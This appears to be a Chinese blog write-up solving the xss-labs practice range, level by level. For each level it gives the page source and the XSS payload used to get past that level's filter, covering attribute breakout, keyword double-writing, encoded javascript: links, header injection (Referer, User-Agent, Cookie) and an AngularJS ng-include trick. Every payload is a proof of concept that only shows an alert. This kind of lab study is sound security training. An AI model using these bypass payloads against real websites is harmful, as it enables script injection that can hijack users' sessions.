XSS-labs
title: XSS-labs
tags: XSS-labs
abbrlink: e4b595d3
date: 2022-08-13 16:49:42
xss-labs
xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs
level 1
payload:
http://xss/level1.php?name=<Script>alert(1)</Script>
level 2
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
这里变量出现在两处,我们直接利用第二处,做构造以及闭合
payload:
1"><ScRipt>alert(1)</ScRipt>
level 3
- 看一下网页源代码和php代码,使用了htmlspecialchars方法
- htmlspecialchars的解释 https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp 就是HTML为了防止特殊符号,如 "<"等,html当成标签
- 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~),这里我用的是click,直接点击一下就可以了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和'onfocus=javascript:alert('xss') > /相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''onfocus=javascript:alert('xss') > /'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:36</h3></body>
</html>
payload:
' onclick ='javascript:alert(1)'//
- 再次点击搜索框
level 4
- 同第三关(把单引号换成双引号)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:21</h3></body>
</html>
payload:
" onclick ='javascript:alert(1)'//
- 再次点击搜索框
level 5
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
- script过滤了,onclick也过滤了
payload:
"></input><a href='javascript:alert(1)'>aaa</a>//
- 构造a标签
- 点击aaa
level 6
- 同第二关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
payload:
1"><ScRipt>alert(1)</ScRipt>
level 7
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="<>alert(1)</>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:13</h3></body>
</html>
1"><ScscriptRipt>alert(1)</ScscriptRipt>
- 删去了script,将script变成scrscriptipt
level 8
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
上边过滤了<>
特殊符号,下边在script中间加了个下划线
但是注意看下边代码再href
里,这里只是想把href的内容变成javascript:alert(1)
,而不涉及标签的修改,所以直接编码绕过
在线Unicode编码转换工具 http://www.jsons.cn/unicode
payload:
javascript:alert(1)
level 9
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
- 双引号和尖括号都给过滤了
- 链接不合法,填个合法的
在线Unicode编码转换工具 http://www.jsons.cn/unicode
javascript:alert(1);http://www.baidu.com 这样不行,javascript:alert(1);要编码
payload:
javascript:alert(1);//http://www.baidu.com
- 点击友情链接
level 10
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>
- 这里有三个
<input>
标签的话,也就意味着是三个参数,看看哪一个标签能够被突破 - 构造语句:把链接的keyword的值替换
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
- 从页面响应来看,有一个
<input>
标签的状态可以被改变。这个标签就是名为t_sort
的<input>
标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
payload:
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
level 11
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="' or updatexml(1,concat(0x7e,(database())),1) and '1'='1" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
<input>
这次有四个标签- 发现还是t_sort不过双引号和尖括号被过滤,这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
- BP进行抓包可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上
payload:
referer:"type="text" onclick="alert('xss')
- 点击出现的窗口
level 12
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
- 看到了t_ua这样一个标签,并且其中的value属性的值看起来像抓取数据包中User-Agent头的值
payload:
"type="text" onclick="alert('xss')
- 在
User-Agent
的最后面加上payload
level 13
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
- 源码中的t_cook标签中出现了。
- 尝试在cookie的值中进行构造语句
payload:
"type="text" onclick="alert('xss')
- 在
cookie
的最后面加上payload
level 14
这题好像有问题
level 15
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
<span>标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include 是 angular js 中的东西,其作用相当于php的include函数。这里就
是将1.gif这个文件给包含进来。
尖括号被屏蔽
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
因为这里参数值算是一个地址,所以需要添加引号。但是level1.php不是一个php文件吗?
这里解释一下
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
- src地址无法访问,先将其换成国内可以访问的地址:
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
payload:
?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>test</center><center><img src=level16.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
- 关键字
script
以及/
和空格
都被编码成同样的空格字符实体了。 - 尝试加个a标签,空格用回车编码代替,点击图片过关
payload:
<a%0D%0Aonclick='alert(1)'>
level 17
这一关中间是一个flash 插件,没法正常显示出来
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
embed src=url
说明:embed可以用来插入各种媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,
payload:
arg01=a&arg02= onmouseover=alert(1)
level 18
- 这一关和上一关一样的,只是把flash 换成了图片而已,构造的语句都一样
payload:
arg01=a&arg02= onmouseover=alert(1)
level 19
主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索
别人的payload:
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
level 20
主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索
别人的payload:
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top